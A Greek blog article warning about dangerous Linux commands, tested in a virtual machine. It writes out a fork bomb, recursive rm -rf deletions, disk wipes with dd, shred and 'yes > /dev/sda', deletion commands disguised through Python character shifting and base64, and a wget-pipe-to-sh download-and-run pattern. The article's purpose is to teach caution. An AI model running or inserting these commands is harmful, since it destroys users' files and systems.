Επικίνδυνες Εντολές Linux – Τι Πρέπει να Προσέχουμε

Το τερματικό στο Linux είναι ένα πανίσχυρο εργαλείο. Με τις κατάλληλες εντολές Linux μπορούμε να κάνουμε όσα θα κάναμε και με το γραφικό περιβάλλον, και ακόμα περισσότερα. Όμως υπάρχουν ορισμένες εξαιρετικά επικίνδυνες εντολές, που μπορούν να κολλήσουν τον υπολογιστή ή να σβήσουν όλα μας τα αρχεία, αν δεν είμαστε προσεκτικοί.

Είχατε διαβάσει τον οδηγό στον οποίο σβήναμε αρχεία συστήματος των Windows, έτσι για να δούμε τι θα γίνει? Ε, καιρός να καταστρέψουμε και μερικές διανομές Linux, για αλλαγή.

Γιατί υπάρχουν επικίνδυνες εντολές στο Linux?

Είναι σημαντικό να κατανοήσουμε πως οι επικίνδυνες εντολές στο Linux δεν δημιουργήθηκαν με σκοπό την καταστροφή.

Οι περισσότερες από αυτές είναι για εντολές οι οποίες είναι χρήσιμες ή ακόμα και αναντικατάστατες, αν χρησιμοποιηθούν σωστά. Με τη λάθος χρήση, όμως, μπορούν να δημιουργήσουν τεράστια προβλήματα.

Θα μπορούσαμε να τις παρομοιάσουμε με ένα αλυσοπρίονο. Η σωστή χρήση μας εξοικονομεί χρόνο και ενέργεια, και παρέχει δυνατότητες που δεν δίνει κανένα χειροκίνητο πριόνι. Με τη λάθος χρήση, θα χρειαστεί να βγάλουμε τις κάλτσες μας για να μετρήσουμε μέχρι το δέκα, ή και χειρότερα.

Να σημειωθεί πως οι επικίνδυνες εντολές συνήθως χρειάζονται δικαιώματα διαχειριστή για να κάνουν πραγματική ζημιά στο σύστημα, δηλαδή είτε να τις τρέξουμε ως root, είτε με την εντολή sudo.

Όμως υπάρχουν αρκετές εντολές που ενώ δεν θα βλάψουν το λειτουργικό, θα καταστρέψουν όλα τα προσωπικά μας αρχεία (έγγραφα, φωτογραφίες, μουσική κλπ) χωρίς να χρειάζονται δικαιώματα διαχειριστή.

Για τις ανάγκες του οδηγού, τρέξαμε τις παρακάτω εντολές σε μια εικονική μηχανή με εγκατεστημένο το Ubuntu 15.10. Μην τρέξετε για κανένα λόγο τις παρακάτω εντολές όπως παρουσιάζονται σε μια κανονική εγκατάσταση Linux.

H βόμβα Fork που κολλάει τον υπολογιστή

Οι παρακάτω χαρακτήρες δεν μοιάζουν καν με εντολή, πόσο μάλλον να ανήκουν στις επικίνδυνες εντολές.

:(){ :|: & };:

Περισσότερο θυμίζουν emoticon, όπως κάτι τριαντάφυλλα @}–;– που στέλναμε οι παλιοί όταν φλερτάραμε στο mIRC.

Στην πραγματικότητα, όμως, πρόκειται για μία βόμβα fork. Είναι μια διεργασία τύπου bash function, που ο μόνος της στόχος είναι να αντιγράψει τον εαυτό της και να τον ξανατρέξει.

Κάθε αντίγραφο κάνει το ίδιο επ' άπειρον, μέχρι αναπόφευκτα να εξαντληθούν οι πόροι του συστήματος, και ο υπολογιστής να κολλήσει.

Τρέχοντας την εντολή, που δεν χρειάζεται δικαιώματα διαχειριστή, δεν θα φανεί τίποτα σπουδαίο στο τερματικό, μόνο ο αριθμός ID της αρχικής διεργασίας.

Μέσα σε δευτερόλεπτα, όμως, το σύστημα κολλάει ανεπανόρθωτα, σε βαθμό που να μην κινείται καν το ποντίκι.

Σε αντίθεση με τις άλλες επικίνδυνες εντολές, η βόμβα fork δεν προξενεί καμία μόνιμη βλάβη στα αρχεία ή το λειτουργικό σύστημα.

Κάνοντας reset τον υπολογιστή από το κουμπί – ή κρατώντας πατημένο το power μέχρι να κλείσει – στην επόμενη εκκίνηση το σύστημά μας θα λειτουργεί κανονικά όπως πάντα.

Η εντολή που σβήνει τα πάντα

sudo rm -rf /*

• Η εντολή rm είναι η απλή εντολή που χρησιμοποιούμε στο τερματικό για τη διαγραφή αρχείων.
• Με την παράμετρο rm -r μπορούμε να διαγράψουμε φακέλους αναδρομικά, δηλαδή με όλους τους υποφακέλους και τα αρχεία που περιέχουν.
• Η παράμετρος rm -f θα διαγράψει τα αρχεία που είναι μόνο για ανάγνωση.
• Τέλος, με “/” συμβολίζεται η βάση του συστήματος αρχείων. Όλα τα αρχεία στο partition που είναι εγκατεστημένο το Linux βρίσκονται στο “/”.

Βάζοντας όλες τις παραμέτρους μαζί, και με δικαιώματα διαχειριστή με το sudo rm -rf /, πρακτικά λέμε στο σύστημα “ξεκίνα από τη βάση και σβήσε τα πάντα, μην σταματάς πουθενά”.

Αξίζει να σημειωθεί πως εξωτερικοί δίσκοι τους οποίους έχουμε συνδεδεμένους στο Linux εκπροσωπούνται μέσα στον φάκελο “/media”. Ως εκ τούτου, η εντολή θα διαγράψει και το περιεχόμενο από ένα φλασάκι ή εξωτερικό δίσκο που είναι εκείνη τη στιγμή συνδεδεμένο.

Στις σύγχρονες εκδόσεις διανομών όπως το Ubuntu και το Linux Mint, αν επιχειρήσουμε να τρέξουμε το σκέτο rm -rf /, το σύστημα θα μας βγάλει ένα μήνυμα προειδοποίησης και δεν θα μας αφήσει να συνεχίσουμε.

Αν όμως τρέξουμε την ίδια εντολή με αστερίσκο, sudo rm -rf /* …

…προσπερνάμε αυτή τη δικλείδα ασφαλείας, χάνουμε αμέσως πρόσβαση στο γραφικό περιβάλλον…

…και στην επόμενη εκκίνηση δεν εμφανίζεται καν το grub.

Υπάρχουν και άλλες παραλλαγές της rm που επίσης ανήκουν στις επικίνδυνες εντολές. Μάλιστα, οι παρακάτω παραλλαγές δεν χρειάζονται δικαιώματα διαχειριστή, καθώς στοχεύουν τα προσωπικά μας αρχεία, και άρα θα εκτελεστούν χωρίς το sudo και χωρίς να βάλουμε το password μας.

• Η rm -rf ~ θα σβήσει όλα τα αρχεία που έχουμε στον προσωπικό μας φάκελο (home), που περιλαμβάνει όλα μας τα έγγραφα, τη μουσική, τα downloads, τα βίντεο, και οτιδήποτε έχουμε στην επιφάνεια εργασίας.
• Η rm -rf * θα σβήσει τα πάντα στο φάκελο στον οποίο βρισκόμαστε από το τερματικό. Κάθε νέο τερματικό ξεκινάει στον προσωπικό φάκελο από προεπιλογή.
• H rm -rf . είναι πρακτικά η ίδια με την rm -rf *, θα σβήσει τον τρέχοντα φάκελο με όλα τα αρχεία και τους υποφακέλους.
• Η rm -rf ~ .* θα σβήσει όλα τα αρχεία ρυθμίσεων για όλα μας τα προγράμματα.

Γενικά η χρήση της rm θέλει τεράστια προσοχή, ειδικά όταν χρησιμοποιούμε το -rf και χαρακτήρες μπαλαντέρ όπως το *.

Κρυφές εντολές διαγραφής

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Μάθαμε λοιπόν από την προηγούμενη ενότητα να προσέχουμε την εντολή rm -rf. Το πρόβλημα όμως είναι πως υπάρχει αρκετά απλός τρόπος να καμουφλαριστεί.

Η εντολή python -c ‘import os; os.system(“”.join([chr(ord(i)-1) for i in “sn!.sg!+”]))', που είναι γραμμένη σε Python, ουσιαστικά περιέχει κρυμμένη την εντολή rm -rf *.

Το sn!.sg!+ που αναφέρει είναι η εντολή rm -rf * με μετατόπιση των χαρακτήρων κατά 1 (s αντί για r, n αντί για r κλπ, θαυμαστικό αντί για κενό, κλπ). Έτσι, με τη χρήση της python, η εντολή αλλάζει τους χαρακτήρες στο rm -rf *.

Αμέσως πριν τρέξει η εντολή όλα στον προσωπικό μας φάκελο είναι φυσιολογικά.

Ένα “Enter” αργότερα, όλα μας τα αρχεία στα έγγραφα, τη μουσική, τα βίντεο, τις εικόνες, και την επιφάνεια εργασίας, έχουν εξαφανιστεί, χωρίς να έχουν χρησιμοποιηθεί τα απορρίμματα.

Υπάρχουν και άλλοι κώδικες που μπορούν να καμουφλάρουν επικίνδυνες εντολές με άλλες μεθόδους, όπως η εντολή echo cm0gLXJmIH4vKg== | base64 -d που ουσιαστικά είναι η rm -rf ~/* με κωδικοποίηση base64.

Αν λοιπόν δεν είστε 100% βέβαιοι για το τι κάνει ένας κώδικας, και δεν είναι 100% αξιόπιστη η πηγή από την οποία τον βρήκατε, καλό είναι να αποφύγετε αν τον τρέξετε.

Οι εντολές που σβήνουν ολόκληρο το δίσκο καθώς τρέχει

sudo dd if=/dev/zero of=/dev/sda
sudo shred /dev/sda

Έχετε δοκιμάσει ποτέ να κάνετε format του δίσκου που περιέχει τα Windows μέσα από τα Windows? Προφανώς είναι αδύνατον.

Η αντίστοιχη εντολή που κάνει διαμόρφωση δίσκου στο Linux, mkfs, επίσης δεν μπορεί να κάνει format σε διαμερίσματα δίσκου που είναι προσαρτημένα (mounted) στο σύστημα. Will not make a σύστημα αρχείων here!

Υπάρχουν όμως εντολές που έχουν τη δύναμη να διαγράψουν οριστικά όλα τα δεδομένα σε ένα δίσκο ή διαμέρισμα δίσκου, την ώρα που είναι προσαρτημένος και καθώς το λειτουργικό σύστημα τρέχει.

Μία από αυτές τις εντολές είναι η dd, την οποία έχουμε χρησιμοποιήσει και στον οδηγό για την πλήρη διαγραφή δίσκου με ασφάλεια.

Πλήρης Διαγραφή Σκληρού Δίσκου με Linux Live DVD/USB

Όπως πιθανώς γνωρίζετε, όταν κάνουμε format σε έναν σκληρό δίσκο HDD, τα δεδομένα δεν διαγράφονται οριστικά. Αν σκοπεύουμε να πουλήσουμε ένα δίσκο ή έναν παλαιό υπολογιστή,…

Η dd πρόκειται για μια εξαιρετικά ισχυρή εντολή αντιγραφής, η οποία έχει πρόσβαση στο δίσκο απευθείας σε επίπεδο υλικού, παρακάμπτωντας όποιες δικλείδες ασφαλείας διαθέτει το λειτουργικό σύστημα.

Γράφοντας sudo dd if=/dev/zero of=/dev/sda λέμε στο σύστημα “Πάρε το περιεχόμενο το αρχείου /dev/zero και γράψ' το στο δίσκο /dev/sda, αντικαθιστώντας όλα τα δεδομένα”

Το αρχείο /dev/zero είναι ένα αρχείο που περιέχει απλά το 0 σαν δεδομένα. Ο δίσκος /dev/sda είναι ο βασικός δίσκος του συστήματος, με όλα τα διαμερίσματα δίσκου που περιλαμβάνει. Το dd ουσιαστικά θα αντικαταστήσει όλα τα δεδομένα στο δίσκο με μηδενικά.

Το ενδιαφέρον με αυτή την εντολή είναι πως όταν την τρέξουμε, δεν φαίνεται να κάνει τίποτα.

Για τα πρώτα μερικά δευτερόλεπτα μπορούμε να συνεχίσουμε να χρησιμοποιούμε κανονικά τον υπολογιστή, να μπούμε στο Internet, να τρέξουμε προγράμματα, κλπ.

Αν όμως διακόψουμε την εντολή με Ctrl+C, βλέπουμε πως έχει ήδη αντιγράψει μερικά gigabyte δεδομένων.

Μόλις κάνουμε επανεκκίνηση του υπολογιστή, ανάλογα με το πόσο έτρεχε η εντολή και πόσα δεδομένα πρόλαβε να καταστρέψει, μπορεί ούτε η επανεκκίνηση να μην μπορεί να ολοκληρωθεί.

Στην επόμενη εκκίνηση, δεν θα αναγνωρίζεται καν πως υπάρχει λειτουργικό σύστημα. Αν είχαμε το Linux σε dual-boot με τα Windows, η εντολή dd θα έχει καταστρέψει και τα διαμερίσματα δίσκου των Windows στον ίδιο δίσκο.

Είναι πιθανό να μπορέσουμε να κάνουμε ανάκτηση δεδομένων από το δίσκο, όσον αφορά δεδομένα τα οποία δεν πρόλαβε η εντολή dd να καταστρέψει. Τα 2,8GB στο παράδειγμα, όμως, είναι αδύνατον να ανακτηθούν.

Αν είχαμε αφήσει την εντολή dd να τρέχει ακόμα περισσότερο, θα βλέπαμε σταδιακά το σύστημα να καταρρέει, μέχρι τελικά να καταλήξει σε kernel panic – το αντίστοιχο της μπλε οθόνης στα Windows, που όμως δεν εμφανίζει κάποιο μήνυμα – και να σταματήσει και η λειτουργία της ίδιας της εντολής dd.

Βέβαια, ακόμα κι αν η εντολή dd τρέξει λιγότερο από ένα δευτερόλεπτο στο /dev/sda, και προλάβει να γράψει μόνο λίγα megabytes, τα πρώτα δεδομένα που θα γράψει θα έχουν ήδη καταστρέψει τις πληροφορίες για τα διαμερίσματα δίσκου.

Όσο συνεχίζει να τρέχει ο υπολογιστής, θα λειτουργεί κανονικά. Μετά την επανεκκίνηση, δεν πρόκειται να ξαναξεκινήσει ποτέ το λειτουργικό σύστημα, και θα πρέπει να κάνουμε επανεγκατάσταση.

Μία άλλη εντολή που κάνει πρακτικά την ίδια δουλειά είναι η sudo shred /dev/sda.

Η εντολή shred γράφει αλλεπάλληλα δεδομένα πάνω από ένα αρχείο, ώστε να είναι εξαιρετικά δύσκολη η ανάκτησή του. Η προεπιλογή είναι να γράψει τρεις φορές από πάνω του, αλλά μπορούμε να ορίσουμε

Εφαρμόζοντάς την στο /dev/sda, πρακτικά κάνουμε αδύνατη την ανάκτηση των αρχείων από ολόκληρο το δίσκο, ακόμα και από εταιρείες ανάκτησης δεδομένων.

Γενικά, καλό είναι να αποφύγουμε εντολές που περιλαμβάνουν τα /dev/sda, /dev/sda1, /dev/sdb, κλπ, αν δεν ξέρουμε ακριβώς τι κάνουμε. Κάθε ένα από αυτά τα /dev/ αντιστοιχεί σε μια μονάδα δίσκου ή ένα διαμέρισμα δίσκου, και είναι σχετικά εύκολο να καταστρέψουμε όλα τα δεδομένα.

Η απόδειξη πως το να τρέχουμε το σύστημα σαν root είναι εξαιρετικά επικίνδυνο

yes > /dev/sda

Ο χρυσός κανόνας στο Linux είναι πως ποτέ, μα ποτέ, δεν χρησιμοποιούμε το σύστημα σαν root.

Βλέπετε, όταν τρέχουμε μια εντολή με το sudo σαν απλοί χρήστες, έχουμε δικαιώματα root μόνο για τη συγκεκριμένη εντολή, και υπάρχουν ακόμα ορισμένες δικλείδες ασφαλείας που μας προστατεύουν.

Για παράδειγμα, αν τρέξουμε την εντολή sudo yes > /dev/sda, το σύστημα θα αρνηθεί να προχωρήσει, δεν θα μας ζητήσει καν τον κωδικό του διαχειριστή.

Αν όμως είμαστε σε περιβάλλον root με το sudo su, τίποτα δεν θα μας εμποδίσει να τρέξουμε την εντολή.

Τι κάνει όμως η εντολή yes > /dev/sda?

Αρχικά τρέχει την εντολή yes, η οποία από μόνη της είναι σχετικά ακίνδυνη, το μόνο που κάνει είναι να γράφει συνέχεια “y” στο τερματικό, το ένα κάτω από το άλλο, μέχρι να τη σταματήσουμε.

Ναι, υπάρχουν κάποιες παράξενες εντολές στο Unix / Linux. Η Yes κανονικά χρησιμοποιείται σε σκριπτάκια που χρειάζονται πολλές φορές επιβεβαίωση, ώστε να απαντάμε αυτόματα yes σε όλα.

Όταν συνδυάσουμε την εντολή Yes με το > /dev/sda, λέμε στο σύστημα να αντικαταστήσει όλα τα δεδομένα του βασικού δίσκου με τα ατέλειωτα “y” από τη yes. Πρακτικά, λειτουργεί ακριβώς όπως η dd που είδαμε προηγουμένως, με τη διαφορά πως πρέπει να τρέξουμε το yes > /dev/sda ως root, το sudo δεν αρκεί.

Για την ακρίβεια, θα μπορούσαμε να αντικαταστήσουμε το yes με οποιαδήποτε εντολή επιστρέφει κάποιο αποτέλεσμα, όπως την ls που τυπώνει τη λίστα των αρχείων και των φακέλων στον τρέχοντα φάκελο.

Ακόμα και αυτά τα λίγα δεδομένα, με την εισαγωγή τους στο /dev/sda είναι αρκετά για να καταστρέψουν τα δεδομένα του βασικού δίσκου όσον αφορά τα διαμερίσματα δίσκου.

Μόνο ο χρήστης root έχει τέτοια πρακτικά απεριόριστη καταστρεπτική δύναμη.

Η εντολή που μπορεί να κατεβάσει επικίνδυνα scripts

wget http://example.com/something -O- | sh

Ας πούμε πως κάποιος έχει πάρει την εντολή rm -rf ~ που είδαμε προηγουμένως, η οποία σβήνει όλα τα προσωπικά μας αρχεία χωρίς να χρειάζεται δικαιώματα διαχειριστή, και την έχει βάλει σε ένα σκριπτάκι, πιο απλό δεν γίνεται.

Στη συνέχεια, ανεβάζει αυτό το σκριπτάκι στο Internet, έστω στο https://www.pcsteps.gr/script.

Αν τώρα ένας χρήστης τρέξει την εντολή: wget https://www.pcsteps.gr/script -Ο- | sh θα γίνουν τα εξής:

• Το wget https://www.pcsteps.gr/script θα κατεβάσει το αρχείο που περιέχει το script.
• Η παράμετρος -Ο- θα ανοίξει το αρχείο και θα διαβάσει το περιεχόμενό του.
• Ο χαρακτήρας pipe | θα στείλει το περιεχόμενο του αρχείου στο sh που θα εκτελέσει το περιεχόμενο του script.

Ενώ λοιπόν το σύστημά μας λειτουργεί κανονικά…

…μόλις τρέξουμε την εντολή, εξαφανίζονται άμεσα τα προσωπικά μας αρχεία και οι φάκελοι, και αρκετές σημαντικές ρυθμίσεις συστήματος για να εξαφανιστεί μέρος του γραφικού περιβάλλοντος.

Αυτό είναι ένα μόνο δείγμα της ζημιάς που μπορεί να γίνει αν κατεβάσουμε άγνωστα σκριπτάκια με την εντολή wget, καθώς υπάρχουν script που μπορούν να εκμεταλλευτούν κενά ασφαλείας και να αποκτήσουν δικαιώματα root.

H wget είναι μια χρήσιμη εντολή. Την έχουμε αξιοποιήσει στους οδηγούς για τη Δημιουργία USB Εκκίνησης στο Linux Mint / Ubuntu, την Εγκατάσταση Google Chrome σε Ubuntu / Lubuntu, και την Εγκατάσταση VirtualBox στο Linux Mint / Ubuntu. Όμως είναι ρίσκο το να τρέχουμε εντολές από site που δεν γνωρίζουμε με 100% βεβαιότητα πως είναι αξιόπιστα, ειδικά όταν κατεβάζουν και τρέχουν αυτόματα scripts που δεν ξέρουμε τι κάνουν.

Να σημειωθεί πως διαγράψαμε το script από το site και η διεύθυνση https://www.pcsteps.gr/script δεν οδηγεί πουθενά.

Γνωρίζετε άλλες επικίνδυνες εντολές Linux?

Οι παραπάνω είναι οι βασικότερες επικίνδυνες εντολές στο Linux, τις οποίες δοκιμάσαμε και μπορούμε να πιστοποιήσουμε πως λειτουργούν. Αν γνωρίζετε κάποια άλλη σημαντική εντολή που δεν αναφέραμε και την οποία καλό είναι να προσέχουμε, γράψτε μας στα σχόλια.